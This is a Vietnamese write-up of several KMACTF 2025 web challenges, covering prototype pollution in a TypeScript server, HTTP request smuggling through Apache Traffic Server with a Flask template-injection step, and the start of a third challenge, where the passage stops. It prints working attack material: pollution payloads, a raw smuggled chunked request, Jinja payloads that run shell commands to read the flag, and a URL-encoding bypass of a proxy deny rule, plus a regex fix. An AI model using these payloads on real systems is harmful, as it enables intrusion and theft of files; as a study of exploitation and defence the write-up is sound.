# KMACTF Lần 2 2025
## 0x1: Web/YDSYD
Source code:
:::spoiler app.ts
```typescript
import { serve } from "bun";
import { SignJWT, jwtVerify } from "jose";
const JWT_SECRET = "<It's a secret, but I trust you'll figure it out>";
const secretKey = new TextEncoder().encode(JWT_SECRET);
const flag = "KMACTF{hehe}";
function getFlagGetter() {
return function () {
return flag;
};
}
const flagGetter = getFlagGetter();
const users = {
alice: { configProto: {}, config: Object.create({}), isAdmin: false },
bob: { configProto: {}, config: Object.create({}), isAdmin: false },
admin: { configProto: {}, config: Object.create({}), isAdmin: true },
};
const safeProps = new Set(["name", "user"]);
function sandboxTemplate(template: string, context: any) {
const proxy = new Proxy(context, {
get(target, prop) {
if (safeProps.has(prop as string)) {
return Reflect.get(target, prop);
}
throw new Error("Access denied to property: " + prop.toString());
},
});
return template.replace(/\{\{(\w+)\}\}/g, (_, key) => {
try {
const val = (proxy as any)[key];
if (typeof val === "string" || typeof val === "number") return val;
} catch { }
return "";
});
}
function merge(target: any, source: any) {
for (const key in source) {
if (key === "template" || key === "user") continue;
if (
source[key] &&
typeof source[key] === "object" &&
target[key] &&
typeof target[key] === "object"
) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
async function authenticate(request: Request) {
const authHeader = request.headers.get("authorization");
if (!authHeader || !authHeader.startsWith("Bearer ")) return null;
const token = authHeader.slice(7);
try {
const { payload } = await jwtVerify(token, secretKey, {
algorithms: ["HS256"],
});
if (payload && typeof payload.user === "string" && users[payload.user]) {
return { username: payload.user as string, isAdmin: payload.isAdmin === true };
}
} catch { }
return null;
}
async function generateToken(username: string, isAdmin = false) {
return await new SignJWT({ user: username, isAdmin })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("1h")
.sign(secretKey);
}
serve({
async fetch(request) {
const url = new URL(request.url);
if (url.pathname === "/login" && request.method === "POST") {
try {
const body = await request.json();
const user = body.user;
if (!user || !users[user]) {
return new Response("User not found", { status: 404 });
}
const token = await generateToken(user, users[user].isAdmin);
return new Response(JSON.stringify({ token }), {
status: 200,
headers: { "Content-Type": "application/json" },
});
} catch {
return new Response("Invalid JSON", { status: 400 });
}
}
const auth = await authenticate(request);
if (!auth) return new Response("Unauthorized. Use POST /login then POST /annyeong with Bearer token", { status: 401 });
const username = auth.username;
const isAdmin = auth.isAdmin;
const userInfo = users[username];
if (!Object.getPrototypeOf(userInfo.config)) {
Object.setPrototypeOf(userInfo.config, userInfo.configProto);
if (!userInfo.config.user) userInfo.config.user = { name: username };
}
if (url.pathname === "/annyeong" && request.method === "POST") {
try {
const data = await request.json();
merge(userInfo.configProto, data);
if (isAdmin) {
return new Response(flagGetter(), { status: 200 });
}
const template = "{{name}} says hello";
const result = sandboxTemplate(template, userInfo.config.user);
return new Response(result, { status: 200 });
} catch {
return new Response("Invalid JSON or sandbox error", { status: 400 });
}
}
return new Response(
"Unauthorized. Use POST /login then POST /annyeong with Bearer token",
{ status: 401 }
);
},
});
```
:::
Vừa mở chall lên thì mình đã thấy được hàm `merge` này và cũng là đặc trưng nhận dạng của lỗ hổng này trong javascript, typescript.

Ta có thể run đoạn này để check:
```javascript
function merge(target, source) {
for (const key in source) {
if (key === "template" || key === "user") continue;
if (
source[key] &&
typeof source[key] === "object" &&
target[key] &&
typeof target[key] === "object"
) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
const target = {};
const source = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge(target, source);
console.log({}.isAdmin);
```

Chỉ cần key của source không là `user` và `template` thì ta hoàn toàn có thể polute proto của obj.
Quay trở lại với chall -> với kinh nghiệm của mình cách nhanh nhất để lấy được flag là trace ngược từ vị trí flag để tìm những "way" để có thể tiếp cận nó.

Sau khi gán thì `flagGetter` sẽ là một Function -> find nó trong source tiếp tục:

Lúc này có thể thấy thì `isAdmin` phải có giá trị true -> recv flag.
Nếu endpoint(pathname) là `/annyeong` và method POST thì body json được nhận trực tiếp từ client sẽ đưa vào merge:
```javascript
const data = await request.json();
merge(userInfo.configProto, data);
```
Vậy -> đây sẽ là nơi ta khai thác để isAdmin là true.
Mặc định nếu endpoint không phải `/login` và method khác `POST` - tương ứng chức năng login thì đoạn code dưới if sẽ được run:
```javascript
const auth = await `authenticate`(request);
if (!auth) return new Response("Unauthorized. Use POST /login then POST /annyeong with Bearer token", { status: 401 });
const username = auth.username;
const isAdmin = auth.isAdmin;
const userInfo = users[username];
if (!Object.getPrototypeOf(userInfo.config)) {
Object.setPrototypeOf(userInfo.config, userInfo.configProto);
if (!userInfo.config.user) userInfo.config.user = { name: username };
}
```
middleware `authenticate` được gọi để check auth:
```javascript
import { SignJWT, jwtVerify } from "jose";
const JWT_SECRET = "<It's a secret, but I trust you'll figure it out>";
const secretKey = new TextEncoder().encode(JWT_SECRET);
async function authenticate(request: Request) {
const authHeader = request.headers.get("authorization");
if (!authHeader || !authHeader.startsWith("Bearer ")) return null;
const token = authHeader.slice(7);
try {
const { payload } = await jwtVerify(token, secretKey, {
algorithms: ["HS256"],
});
if (payload && typeof payload.user === "string" && users[payload.user]) {
return { username: payload.user as string, isAdmin: payload.isAdmin === true };
}
} catch { }
return null;
}
```
token được lấy từ header sau đó verify kỹ càng với secretKey -> sau đó username, isAdmin được trả về.
username, isAdmin được lấy ra và lấy thông tin tương ứng với username trong list obj:
```javascript
const users = {
alice: { configProto: {}, config: Object.create({}), isAdmin: false },
bob: { configProto: {}, config: Object.create({}), isAdmin: false },
admin: { configProto: {}, config: Object.create({}), isAdmin: true },
};
```
### 1: Cách 1_ Khai thác với logic code failed
Vì cần phải có token để auth cho nên điều tiên quyết ta cần làm là đăng nhập:
```javascript
if (url.pathname === "/login" && request.method === "POST") {
try {
const body = await request.json();
const user = body.user;
if (!user || !users[user]) {
return new Response("User not found", { status: 404 });
}
const token = await generateToken(user, users[user].isAdmin);
return new Response(JSON.stringify({ token }), {
status: 200,
headers: { "Content-Type": "application/json" },
});
} catch {
return new Response("Invalid JSON", { status: 400 });
}
}
```
user được lấy ra trực tiếp sau đó check trực tiếp user với key trong list ở trên, điều phi lí ở đây là `const token = await generateToken(user, users[user].isAdmin);` nó chẳng hề check gì cả mà generateToken với user ta truyền vào tương ứng luôn -> cùng coi xem `generateToken` có gì khác thường không.
```javascript
async function generateToken(username: string, isAdmin = false) {
return await new SignJWT({ user: username, isAdmin })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("1h")
.sign(secretKey);
}
```
Vậy điều này hoàn toàn hợp lí khi gen token -> do đó lỗ hổng logic nằm ngay tại đây.
-> Chỉ cần truyền user là `admin` thì `users['admin'].isAdmin` sẽ là true -> token được gen với payload jwt là admin -> chỉ cần truy cập `/annyeong` là xong.
Điều này khá là lỏ bởi vì dữ kiện prototype polution còn chưa được sử dụng đến.
### 2: Cách 2_ Khai thác prototype polution
Có một đoạn nữa ở đây mình sẽ nói thêm là:
```javascript
if (!Object.getPrototypeOf(userInfo.config)) {
Object.setPrototypeOf(userInfo.config, userInfo.configProto);
if (!userInfo.config.user) userInfo.config.user = { name: username };
}
```
Nếu userInfo.config chưa có prototype thì gán userInfo.configProto làm prototype cho nó (tức là config sẽ 'kế thừa' các thuộc tính từ configProto).
Sau đó, nếu config.user chưa có thì khởi tạo config.user = { name: username }
**Ý tưởng:**
Bây giờ nếu không có lỗ hổng logic kia -> ví dụ chặn truyền user:admin -> thì lúc này ta chỉ có thể login với user `alice` or `bob` -> `isAdmin` là false.
-> Lúc này token tương ứng đã được gen.
-> Đi đến chức năng `/annyeong` thì thông tin được lấy ra, `const userInfo = users[username];` cũng lấy ra tương ứng `alice: { configProto: {}, config: Object.create({}), isAdmin: false }`
`!Object.getPrototypeOf(userInfo.config)` trả về false nên if không được nhảy vào




Tuy nhiên có một vấn đề xảy ra:
```javascript
function merge(target, source) {
for (const key in source) {
if (key === "template" || key === "user") continue;
if (
source[key] &&
typeof source[key] === "object" &&
target[key] &&
typeof target[key] === "object"
) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
const users = {
alice: { configProto: {}, config: Object.create({}), isAdmin: false },
bob: { configProto: {}, config: Object.create({}), isAdmin: false },
admin: { configProto: {}, config: Object.create({}), isAdmin: true },
};
const username = "alice";
const isAdmin = false;
const userInfo = users[username];
// console.log(!Object.getPrototypeOf(userInfo.config));
if (!Object.getPrototypeOf(userInfo.config)) {
Object.setPrototypeOf(userInfo.config, userInfo.configProto);
console.log(11111111111);
if (!userInfo.config.user) userInfo.config.user = { name: username };
}
// const data = JSON.parse(`
// {
// "__proto__": {
// "isAdmin": true,
// "config": true,
// "hihi": {
// "configProto": {},
// "config": {},
// "isAdmin": true
// }
// }
// }
// `);
const data = JSON.parse('{"__proto__": {"hihi": {"isAdmin": true}}}');
merge(userInfo.configProto, data);
const c = {};
console.log(c.hihi);
// console.log(users["alice"].config.isAdmin);
// console.log(users["hihi"].isAdmin);
const username1 = "hihi";
const isAdmin1 = users["hihi"].isAdmin;
const userInfo1 = users[username];
// console.log(userInfo1);
if (!Object.getPrototypeOf(userInfo1.config)) {
Object.setPrototypeOf(userInfo1.config, userInfo1.configProto);
console.log(11111111111);
if (!userInfo.config.user) userInfo1.config.user = { name: username };
}
const data1 = JSON.parse('{}');
try
{
merge(userInfo1.configProto, data1);
} catch {
console.log("Lỗi rồi");
}
// if(isAdmin1){
// console.log("KMACTF{hehe}");
// }
```
```c
PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js
{ isAdmin: true }
D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:1
function merge(target, source) {
^
RangeError: Maximum call stack size exceeded
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:1:15)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
at merge (D:\ctf_chall\KMACTF2_2025\YDSYD\demo.js:10:13)
Node.js v20.10.0
PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js
{ isAdmin: true }
Lỗi rồi
PS D:\ctf_chall\KMACTF2_2025\YDSYD>
```
Việc prototype giá trị của object đã bị polution thì nó sẽ luôn có giá trị `target[key]` tức là `target["__proto__"]` sẽ luôn trả ra `object` và lại gọi đệ quy lại nó -> sinh ra callback hell -> stack overflow.
Do đó ta phải tiến hành polution lại giá trị hihi thành null để có điểm dừng cho call back:
```javascript
function merge(target, source) {
console.log("calling.....\n");
for (const key in source) {
if (key === "template" || key === "user") continue;
if (
source[key] &&
typeof source[key] === "object" &&
target[key] &&
typeof target[key] === "object"
) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
const users = {
alice: { configProto: {}, config: Object.create({}), isAdmin: false },
bob: { configProto: {}, config: Object.create({}), isAdmin: false },
admin: { configProto: {}, config: Object.create({}), isAdmin: true },
};
const username = "alice";
const isAdmin = false;
const userInfo = users[username];
// console.log(!Object.getPrototypeOf(userInfo.config));
if (!Object.getPrototypeOf(userInfo.config)) {
Object.setPrototypeOf(userInfo.config, userInfo.configProto);
console.log(11111111111);
if (!userInfo.config.user) userInfo.config.user = { name: username };
}
// const data = JSON.parse(`
// {
// "__proto__": {
// "isAdmin": true,
// "config": true,
// "hihi": {
// "configProto": {},
// "config": {},
// "isAdmin": true
// }
// }
// }
// `);
const data = JSON.parse('{"__proto__": {"hihi": {"isAdmin": true}}}');
merge(userInfo.configProto, data);
const c = {};
console.log(c.hihi);
// console.log(users["alice"].config.isAdmin);
// console.log(users["hihi"].isAdmin);
const username1 = "hihi";
const isAdmin1 = users["hihi"].isAdmin;
const userInfo1 = users[username];
// console.log(userInfo1);
if (!Object.getPrototypeOf(userInfo1.config)) {
Object.setPrototypeOf(userInfo1.config, userInfo1.configProto);
console.log(11111111111);
if (!userInfo.config.user) userInfo1.config.user = { name: username };
}
const data1 = JSON.parse('{ "__proto__": null }');
try
{
merge(userInfo1.configProto, data1);
} catch {
console.log("Lỗi rồi");
}
if(isAdmin1){
console.log("KMACTF{hehe}");
}
```
```c
PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js
calling.....
calling.....
{ isAdmin: true }
calling.....
KMACTF{hehe}
```
Có thể thấy nó sẽ chỉ gọi 3 lần:
```
PS D:\ctf_chall\KMACTF2_2025\YDSYD> node .\demo.js
calling.....
__proto__
calling.....
hihi
{ isAdmin: true }
calling.....
__proto__
hihi
KMACTF{hehe}
```
```c
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
hihi
calling.....
isAdmin
```
Khác hoàn toàn so với gọi đệ quy liên tục ở lúc đầu vì hihi đã được chuyển về null -> lưu ý nếu ta dùng `const data1 = JSON.parse('{ "__proto__": {} }');` thì giá trị {} vẫn đang bị poluttion không thể khử bỏ -> vẫn lỗi.
-> Ok vậy là mọi việc đã được đưa ra ánh sáng giờ thì exploit tóm gọn lại chỉ trong 4 bước đơn giản thôi.
### 3: Exploit with cách 1
Cách 1 đơn giản ta chỉ cần login với user:admin -> nhận token isAdmin:true -> truy cập `/annyeong` -> nhận flag ¯\_(ツ)_/¯.
### 4: Exploit with cách 2
1. Login with user alice or bob.
-> Mục tiêu lấy jwt token để call api `/annyeong`

2. Polution để khi login `users[user].isAdmin` sẽ là `users["lamlam"].isAdmin` -> và polution rồi nên nhận role admin.

```json
{"__proto__": {"lamlam": {"configProto": {}, "config":{}, "isAdmin": true}}}
```
3. Login với user polution mới -> nhận token

4. POST đến `/annyeong` với token trên thì đoạn lấy ra role isAdmin sẽ lấy trước đoạn merge cho nên ta polution lại proto key "lamlam" để không bị callback hell.

Ngoài ra ta cũng có thể dùng:
```json
{ "__proto__": {"lamlam": null} }
```
flag: `KMACTF{Y1u__50lv3d_Y0u_L1ved??<3}`
---
:::spoiler Ngoài lề:
```typescript
const template = "{{name}} says hello";
const result = sandboxTemplate(template, userInfo.config.user);
return new Response(result, { status: 200 });
```
Có thể thấy nếu không là admin thì một chuỗi được hiển thị và nó được render theo cách:
```typescript
const safeProps = new Set(["name", "user"]);
function sandboxTemplate(template: string, context: any) {
const proxy = new Proxy(context, {
get(target, prop) {
if (safeProps.has(prop as string)) {
return Reflect.get(target, prop);
}
throw new Error("Access denied to property: " + prop.toString());
},
});
return template.replace(/\{\{(\w+)\}\}/g, (_, key) => {
try {
const val = (proxy as any)[key];
if (typeof val === "string" || typeof val === "number") return val;
} catch { }
return "";
});
}
```
-> và prop phải thuộc name hoặc user -> và tại này cũng chỉ trả ra string or number nên cũng không có gì đặc biệt.
:::
## 0x2: Web/ACL and H1
Khi nhìn vào đề bài này thì mình lập tức nghĩ ngay đến http request smuggling(HRS) -> nó là lỗi giữa việc nhận/xử lý dữ liệu khác nhau của thường là proxy và backend server.
Và khi unzip chall ra thì đúng như dự đoán:
:::spoiler Tree
```c
PS D:\ctf_chall\KMACTF2_2025\ACL_H1\Public> ls
Directory: D:\ctf_chall\KMACTF2_2025\ACL_H1\Public
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/11/2025 2:02 PM backend
d----- 9/11/2025 2:02 PM proxy
-a---- 9/11/2025 2:03 AM 527 docker-compose.yml
PS D:\ctf_chall\KMACTF2_2025\ACL_H1\Public> tree
D:.
├───backend
│ ├───static
│ │ └───assets
│ ├───templates
│ └───uploads
└───proxy
```
:::
:::spoiler docker-compose.yml
```dockerfile
services:
gunicorn-server:
build:
context: ./backend
dockerfile: Dockerfile
container_name: gunicorn-server
expose:
- "8088"
networks:
- internal-network
ats-proxy:
build:
context: ./proxy
dockerfile: Dockerfile
container_name: ats-proxy
ports:
- "8188:8080"
depends_on:
- gunicorn-server
networks:
- internal-network
- default
networks:
internal-network:
driver: bridge
internal: true
```
:::
Có thể thấy `networks` `internal: true` và service `gunicorn-server` chỉ được phép truy cập từ `ats-proxy` trong cùng mạng -> từ đó ta sẽ đoán những hướng khai thác như là SSRF, HRS, hoặc xss(nếu có bot - trường hợp này thì không ¯\_(ツ)_/¯),...
### 1: trafficserver proxy
:::spoiler Dockerfile proxy trafficserver
```dockerfile
FROM trafficserver/trafficserver:10.0.4
COPY remap.config /opt/etc/trafficserver/remap.config
COPY records.yaml /opt/etc/trafficserver/records.yaml
EXPOSE 8188
CMD ["traffic_server", "-K"]
```
:::
Đến với proxy này dùng `trafficserver:10.0.4` và khi làm bài này mình có tìm ra lỗ hổng HRS ở version 10.0.4 -> vui thay khi mình áp poc của một bài trên mạng bị thừa một dấu `\r` cho nên không khai thác được (do kỹ năng đọc hiểu còn kém :() -> ở bài này mình sẽ đi giải thích cơ chế trước nhé.
```c
records:
http:
keep_alive_enabled_in: 0
keep_alive_enabled_out: 0
```
```c
remap.config
map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get
map / http://gunicorn-server:8088/
```
Với các cấu hình có vẻ như là hoàn hảo để khai thác HRS với CVE trên.
-> Cùng quan sát xem có gì hay ho ở internal server `gunicorn`.
### 2: flask internal server
:::spoiler Dockerfile backend flask
```dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY app.py /app/
COPY templates /app/templates
COPY static /app/static
COPY gunicorn.conf.py .
COPY flag.txt .
RUN set -eux; \
RAND=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c6); \
FLAG_NAME="flag_${RAND}"; \
cp flag.txt /${FLAG_NAME}; \
rm -f flag.txt;
RUN groupadd -r appuser && useradd -r -g appuser appuser
RUN mkdir -p /app/uploads \
&& chown -R appuser:appuser /app/uploads \
&& chmod 755 /app/uploads
RUN chown -R root:root /app \
&& chown -R appuser:appuser /app/uploads
USER appuser
EXPOSE 8088
CMD ["gunicorn", "--config", "gunicorn.conf.py", "app:app"]
```
:::
Flag được random name `flag_*` và được đưa lên root -> target 90% mình đoán được lúc này là RCE.
Phản xạ có điều kiện ngay mình find endpoint `/render` tại sao lại bị proxy deny với `@method=post @method=get`
:::spoiler Đây là mã nguồn để mọi người xem dễ hơn
```python
from flask import Flask, request, render_template, Response, send_from_directory, session, render_template_string, redirect, url_for
import logging
import sys
import os
import uuid
import secrets
app = Flask(__name__, template_folder=os.path.join(os.path.dirname(__file__), 'templates'))
app.secret_key = secrets.token_hex(32)
BASE_UPLOAD_FOLDER = 'uploads'
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.StreamHandler(sys.stdout)
]
)
logger = logging.getLogger(__name__)
ALLOWED_EXTENSIONS = {'txt', 'html'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def get_session_folder():
if "session_id" not in session:
session["session_id"] = uuid.uuid4().hex[:6]
folder = os.path.join(BASE_UPLOAD_FOLDER, session["session_id"])
os.makedirs(folder, exist_ok=True)
return folder, session["session_id"]
@app.before_request
def log_request_info():
logger.info(f"REQUEST: {request.method} {request.path}")
if 'folder' not in session:
folder_name = uuid.uuid4().hex
session['folder'] = folder_name
session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder_name)
os.makedirs(session_folder_path, exist_ok=True)
else:
session_folder_path = os.path.join(BASE_UPLOAD_FOLDER, session['folder'])
app.config['UPLOAD_FOLDER'] = session_folder_path
# --- Routes ---
@app.route('/', methods=['GET'])
def index():
return render_template('index.html', method=request.method, path=request.path)
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
return "No file part"
file = request.files['file']
if file.filename == '':
return "No selected file"
if file and allowed_file(file.filename):
ext = file.filename.rsplit('.', 1)[1].lower()
random_str = uuid.uuid4().hex[:16]
filename = f"{random_str}.{ext}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(filepath)
return f"File uploaded successfully! Path: {filepath} <a href='/files'>See all files</a>"
return "File type not allowed"
return render_template("upload.html")
@app.route('/uploads/<folder>/<filename>')
def download_file(folder, filename):
folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder)
return send_from_directory(
folder_path,
filename,
mimetype='text/plain',
as_attachment=False
)
@app.route('/files', methods=['GET'])
def list_files():
folder = session.get('folder')
if not folder:
folder = uuid.uuid4().hex
session['folder'] = folder
folder_path = os.path.join(BASE_UPLOAD_FOLDER, folder)
os.makedirs(folder_path, exist_ok=True)
files = os.listdir(folder_path)
file_urls = [f"uploads/{folder}/{f}" for f in files]
return render_template("files.html", files=zip(files, file_urls))
# Internal access to render
@app.route('/render')
def render_file():
filepath = request.args.get("filepath", "")
if not os.path.isfile(filepath):
return "File not found", 404
with open(filepath) as f:
content = f.read()
return render_template_string(f"<pre>{ content }</pre>")
# --- Error Handlers ---
@app.errorhandler(404)
def not_found(error):
logger.error(f"404 Error: Path '{request.path}' not found")
return f"404 Not Found: The path '{request.path}' does not exist.", 404
@app.errorhandler(403)
def access_denied(error):
logger.error("403 Error: Access Denied")
return "403 Forbidden: Access Denied", 403
@app.errorhandler(400)
def bad_request(error):
logger.error("400 Error: Bad Request")
return "400 Bad Request", 400
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8088, debug=False)
```
:::
Hóa ra do endpoint này nguy hiểm vì dùng `render_template_string` render trực tiếp nội dung đọc từ `filepath` truyền tùy ý từ người dùng.
Vậy câu hỏi đặt ra là có api nào liên quan đến việc upload file, load file,... -> và ông bụt hiện ra và ban cho ta endpoint `/upload`
```python
BASE_UPLOAD_FOLDER = 'uploads'
ALLOWED_EXTENSIONS = {'txt', 'html'}
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
return "No file part"
file = request.files['file']
if file.filename == '':
return "No selected file"
if file and allowed_file(file.filename):
ext = file.filename.rsplit('.', 1)[1].lower()
random_str = uuid.uuid4().hex[:16]
filename = f"{random_str}.{ext}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(filepath)
return f"File uploaded successfully! Path: {filepath} <a href='/files'>See all files</a>"
return "File type not allowed"
return render_template("upload.html")
```
Ta chỉ được upload các file đuôi ext là ``.txt`` or ``.html`` -> tuy nhiên chỉ cần upload được file + biết path là đủ -> và path file được trả ra khi ta upload xong `Path: {filepath} <a href='/files'>See all files</a>`
-> Vậy thì chỉ cần upload một file có content ssti -> sau đó trigger qua /render?filepath=`<filepath>` ta vừa upload là được.
Vẫn là vấn đề bypass internal để gọi được `render`.
### 3: Cách 1: Intended _ CVE-2024-53868 - Apache Traffic Server Vulnerability Let Attackers Smuggle Requests
Version `10.0.4` dính chắc lỗ hổng này -> ban đầu mình tìm được bài viết này: https://www.cve.news/cve-2024-53868/
-> Tuy nhiên poc này không hoạt động ở bài này.
https://cybersecuritynews.com/apache-traffic-server-vulnerability/
Khi access vào trang web cũng có một ảnh hiển thị ám chỉ bug HRS:

Ta có thể xem bài viết này: https://w4ke.info/2025/06/18/funky-chunks.html

-> áp poc vào -> ta nhận dạng các request gửi đến `gunicorn-server`:

----
internal enpoint đã được gọi -> tuy nhiên điều kiện:
```
records:
http:
keep_alive_enabled_in: 0
keep_alive_enabled_out: 0
```
keep-alive bị tắt cho nên bytes được gửi rời ra ở request sau không được trả về phía người dùng
Vì vậy cho nên để trigger ssrf ta sẽ phải dùng blind rce ra ngoài, thêm một rào cản nữa là trong `gunicorn-server` không có mạng -> nên hướng hợp lí nhất là cat flag* rồi ném output ra những thư mục mà ta có quyền truy cập từ phía client (như static, uploads.).
Trong quá trình khai thác thì việc khai báo chunk len content là cần thiết nếu không thì sẽ bị lỗi:



Ta bắt buộc phải khai báo lớn hơn or bằng len để phía backend nhận biết được phần chunk phía dưới
Điều này là bắt buộc để truyền thêm `filepath` query vào render.

Tương tự như vậy thì ta chỉ cần truyền file upload lên chứa payload ssti để ghi file ra với session hiện tại là được:

```c
GET /?a=a HTTP/1.1
Host: localhost:8188
Transfer-Encoding: chunked
Content-Length: 128
2;\n
xx
75
0
GET /render?filepath=uploads/385ac60a63ff4d4aae034377651b524b/e37e6bc2fe4d4577.txt HTTP/1.1
Host: localhost
```

SSTI payload: `{{cycler.__init__.__globals__.os.popen('cat /fla* > /app/uploads/385ac60a63ff4d4aae034377651b524b/aaaa.txt').read()}}`


- Exploit real server

Upload payload ssti cat flag rồi ghi ra thư mục session của mình:
`eyJmb2xkZXIiOiIyMGE5OTJjNzQ2ODE0MTQ0OWM4Njc0MTcxMjQzM2MzMSJ9.aNuI1A.bqKFYlK1gGv6SBV5Pwf8Vxc6aoA`
`20a992c7468141449c86741712433c31`

SSTI payload: `{{cycler.__init__.__globals__.os.popen('cat /fla* > /app/uploads/20a992c7468141449c86741712433c31/aaaa.txt').read()}}`
`uploads/20a992c7468141449c86741712433c31/178752db5ab549d5.txt`



flag: `KMACTF{HTTP/1.1_Must_Di3_or_Not?????}`
---
---
https://cybersecuritynews.com/apache-traffic-server-vulnerability/
https://securityvulnerability.io/vulnerability/CVE-2024-53868
https://www.intertecsystems.com/threat-report-and-advisories/vulnerability/apache-traffic-server-flaw-enables-http-request-smuggling-attacks/
https://github.com/advisories/GHSA-p9hw-v7q7-gmh5
### 4: Cách 2_ UnIntended - miss config in remap.config route deny route /render
```c
map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get
map / http://gunicorn-server:8088/
```
Nguyên nhân ở đây vẫn là lỗi không tương thích giữa proxy và backend.
Việc mapping `/render` không thực hiện url decode path truy cập đến >< Ngược lại phía `gunicorn-server` lại tiến hành url decode nó.
Lúc này một khe hở lọt ra đó là ta chỉ cần url encode 1 hoặc 2 kí tự của render ví dụ:




- Exploit:
Với cách này khá đơn giản chỉ cần upload file chứa payload ssti rồi gọi trực tiếp từ render (lưu ý bypass như trên) là được:


SSTI pay: `{{cycler.__init__.__globals__.os.popen('cat /fla*').read()}}`
flag: `KMACTF{HTTP/1.1_Must_Di3_or_Not?????}`
3. Cách sửa (fix)
http://docs.trafficserver.apache.org/admin-guide/plugins/regex_remap.en.html
ở đây do hoán vị tổ hợp của nó khá lớn lên ta sẽ dùng regex_remap của `trafficserver`
regex:
```
^/(?:%[0-9a-fA-F]{2})*(?:r|%72|%52)(?:%[0-9a-fA-F]{2})*(?:e|%65|%45)(?:%[0-9a-fA-F]{2})*(?:n|%6[eE]|%4[eE])(?:%[0-9a-fA-F]{2})*(?:d|%64|%44)(?:%[0-9a-fA-F]{2})*(?:e|%65|%45)(?:%[0-9a-fA-F]{2})*(?:r|%72|%52)(?:%[0-9a-fA-F]{2})* - @status=403
```
Sau đó dùng với plugin regex_remap -> cách hoạt động cũng tương tự như các proxy khác.
Để không bị miss config này -> và chắc chắn sẽ ít solve hơn thì file remap sẽ phải sửa như trên để triệt tiêu hết tất cả urldecode:>
## 0x3: Web/Vibe_coding
Chall này đáng ra là chống sol nhưng mà miss logic code -> do đó khá nhiều sol.
:::spoiler project structure
```c
PS D:\ctf_chall\KMACTF2_2025\vibe_coding_public\vibe_coding_public> ls
Directory: D:\ctf_chall\KMACTF2_2025\vibe_coding_public\vibe_coding_public
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/28/2025 11:52 AM nodejs-server
d----- 9/28/2025 11:52 AM python-server
-a---- 9/28/2025 12:06 PM 700 docker-compose.yml
```
:::
:::spoiler docker-compose.yml
```dockerfile
version: '3.8'
services:
nodejs-server:
build:
context: ./nodejs-server
dockerfile: Dockerfile
container_name: ctf-nodejs-server
environment:
- PORT=3000
- JWT_SECRET=randomsecretkey
- PYTHON_SERVER=http://python-server:8080
ports:
- "3000:3000"
depends_on:
- python-server
networks:
- ctf-network
restart: unless-stopped
python-server:
build:
context: ./python-server
dockerfile: Dockerfile
container_name: ctf-python-server
environment:
- PORT=8080
- FLAG=KMACTF{REDACTED}
networks:
- ctf-network
restart: unless-stopped
networks:
ctf-network:
driver: bridge
```
:::
Chall này cũng có 2 service `python-server` và `nodejs-server` trong `docker-compose.yml` ta có thể dễ dàng thấy FLAG nằm trong biến môi trường của `python-server` và nó không public port -> chỉ có thể truy cập thông qua `nodejs-server`.
-> ở bài này mình cũng trace ngược từ `python-server` để tiếp cận nhanh với `way to get flag`
### 1: python-server
:::spoiler Dockerfile
```dockerfile
# Python Server Dockerfile
FROM python:3.11-alpine
WORKDIR /app
# Install system dependencies
RUN apk add --no-cache gcc musl-dev
# Copy requirements first for better caching
COPY requirements.txt .
# Install Python dependencies
RUN pip install --no-cache-dir -r requirements.txt
# Copy application code
COPY . .
# Create non-root user
RUN adduser -D -s /bin/sh ctfuser
RUN chown -R ctfuser:ctfuser /app
USER ctfuser
EXPOSE 8080
CMD ["python", "main.py"]
```
:::
:::spoiler main.py
```python
#!/usr/bin/env python3
from flask import Flask, request, jsonify
import os
import logging
from datetime import datetime
# Configure logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
